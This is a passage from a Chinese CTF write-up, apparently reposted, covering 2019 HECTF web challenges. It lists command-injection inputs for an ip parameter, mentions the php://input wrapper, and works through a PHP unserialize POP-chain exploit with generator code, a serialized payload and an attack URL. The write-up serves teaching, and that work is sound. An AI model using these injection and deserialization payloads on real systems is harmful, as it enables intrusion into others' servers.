码迷,mamicode.com
首页 > Web开发 > 详细

2019HECTF总结_web题

时间:2020-03-22 23:49:28      阅读:321      评论:0      收藏:0      [点我收藏+]

标签:show   pop   string   public   reg   协议   访问   序列化   --   

奇怪的编码

  1. ?‖§∮??‖§∮??‖§§??‖§∮§?‖§?§?‖????‖§§??‖§§??‖??§?‖????‖§∮??‖§§??‖§§??‖????‖????‖??‖?‖????‖????‖????‖????‖????‖??∮?‖§∮??‖????‖§§??‖??§?‖??‖?‖§§??‖????‖§§??‖????‖????‖??§?‖§∮??‖????‖????‖??‖?‖????‖??∮?‖??∮?‖§§??‖§??‖‖‖?§?==

  2. https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen
    在这个网站第一次解密音乐符号出现盲文,第二次解密盲文出现flag

  3. 栅格密码……略

命令执行漏洞之拼接命令

  1. ?ip=1|ls-a
  2. ?ip=1;ls
  3. ?ip=1&&ls
  4. ?ip=1||ls

伪协议:

file_get_content函数就用伪协议:php//:input
body里可以穿文本admin

Web-让我们一起来变魔术

拿到页面,查看网页源代码,获得关键代码:

class Read {
    public $var;
    public $token;
    public $token_flag;
    public function __construct() { 
         $this->token_flag = $this->token = md5(rand(1,10000));
    } 
    public function __invoke(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            echo "flag{**********}";
        }
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        echo $this->source."<br>";
    }

    public function __toString()
    {
        $this->str[‘str‘]->source;
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}

if(isset($_GET[‘chal‘]))
{
    $chal = unserialize($_GET[‘chal‘]);
}

明显的反序列化题目。

开始构造pop链。

先出一个大体思路:起点---终点

1.审计到Show里有__toSting函数,考虑是pop链起点。

2.步进——Show中的__construct(),(有echo)

3.继续步进——寻找可以读flag的地方,明显是Read的__invoke函数。pop链结束。

现在从__invoke往回反推:

1.首先__invoke要想执行,需要

$this->token === $this->token_flag

而$this->token_flag在每次调用__invoke时,会重新生成。

可以使用引用,使token变为token_flag的引用即可解决:

$this->token = &$this->token_flag;

2.要想触发__invoke,需要以调用函数的方式调用一个对象。

可以看到Test中的__get()方法有:

public function __get($key)
    {
        $func = $this->params;
        return $func();
    }

3.步进,要想触发__get()方法,需要访问不存在的成员变量:

看一下show的__toString():

public function __toString()
    {
        $this->str[‘str‘]->source;
    }

所以思路很明确了:

Read::__invoke()<--Test::__get()<--Show::__toString()

payload如下:

<?php
class Read{
    public $token;
    public $token_flag;
    function __construct(){
        $this->token = &$this->token_flag; //引用
    }
}
class Show
{
    public $source;
    public $str;
}

class Test
{
    public $params;
}
$p3 = new Read();

$p2 = new Test();
$p2->params = $p3;

$p4 = new Show();
$p4->str = array(‘str‘=>$p2);

$exp = new Show();
$exp->source = $p4;
echo serialize($exp);

?>

执行后结果如下:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:6:"params";O:4:"Read":2:{s:5:"token";N;s:10:"token_flag";R:7;}}}}s:3:"str";N;}

所以最终payload如下:

http://183.129.189.60:10006/?chal=O:4:%22Show%22:2:{s:6:%22source%22;O:4:%22Show%22:2:{s:6:%22source%22;N;s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:{s:6:%22params%22;O:4:%22Read%22:2:{s:5:%22token%22;N;s:10:%22token_flag%22;R:7;}}}}s:3:%22str%22;N;}

2019HECTF总结_web题

标签:show   pop   string   public   reg   协议   访问   序列化   --   

原文地址:https://www.cnblogs.com/h3zh1/p/12549439.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!